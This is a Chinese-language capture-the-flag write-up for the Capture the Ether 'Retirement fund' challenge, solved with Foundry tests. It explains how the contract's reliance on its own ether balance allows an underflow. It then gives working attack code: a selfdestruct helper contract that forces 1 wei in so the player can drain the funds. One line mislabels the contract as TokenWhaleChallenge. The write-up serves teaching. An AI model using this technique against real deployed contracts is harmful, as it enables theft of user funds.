原题目要求 RetirementFundChallenge 合约的 ether 余额为 0。最开始的时候 owner 会充值 1 ether 到合约。
安装 Foundry
根据 Foundry 官方文档配置好运行环境。
运行测试
$ cd WTF-CTF
$ forge test -C src/Capture_the_Ether/Math/Retirement_fund -vvv
在原题 ^0.4.21
版本下,所有的算术操作都是 unchecked,因此为了能够复现这个 Challenge,我给 collectPenalty 里面的某一行增加了 unchecked。
TokenWhaleChallenge 有两个角色,一个是 owner,他部署了这个合约,并锁定了 1 ether。另一个是 player,如果 owner 提前提走资金,合约的以太币的 10% 会转到 player。
该合约的问题是使用了 address(this).balance
来作为判定条件,实际上一个合约的 ether balance 是可以使用出块时 coinbase 的充值或者其他合约的 selfdestruct 来强制改变的。
解决思路是,player 转入合约一定量的 ether,使得 withdrawn = startBalance - address(this).balance
成为一个下溢出的数,然后转移所有的资金。
在 testRetirementFund1 测试函数中,尝试直接 RetirementFundChallenge 合约转账失败,因为原合约里面没有实现 fallback/receive 函数
vm.startPrank(hacker);
vm.expectRevert();
payable(address(retirementFundChallenge)).transfer(1 wei);
vm.expectRevert();
retirementFundChallenge.collectPenalty();
vm.stopPrank();
因此我们需要部署一个辅助合约来强制转移 ether。
这个是辅助合约 Attacker,在执行构造函数的时候就自我销毁,并将余额转入 target 地址。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract Attacker {
constructor(address payable target) payable {
require(msg.value > 0);
selfdestruct(target);
}
}
然后我们在 testRetirementFund2 里,使用 1 wei 创建 Attacker,这样就能强制将 1 wei 转入 RetirementFundChallenge 合约
vm.startPrank(hacker);
new Attacker{value: 1 wei}(payable(address(retirementFundChallenge)));
retirementFundChallenge.collectPenalty();
vm.stopPrank();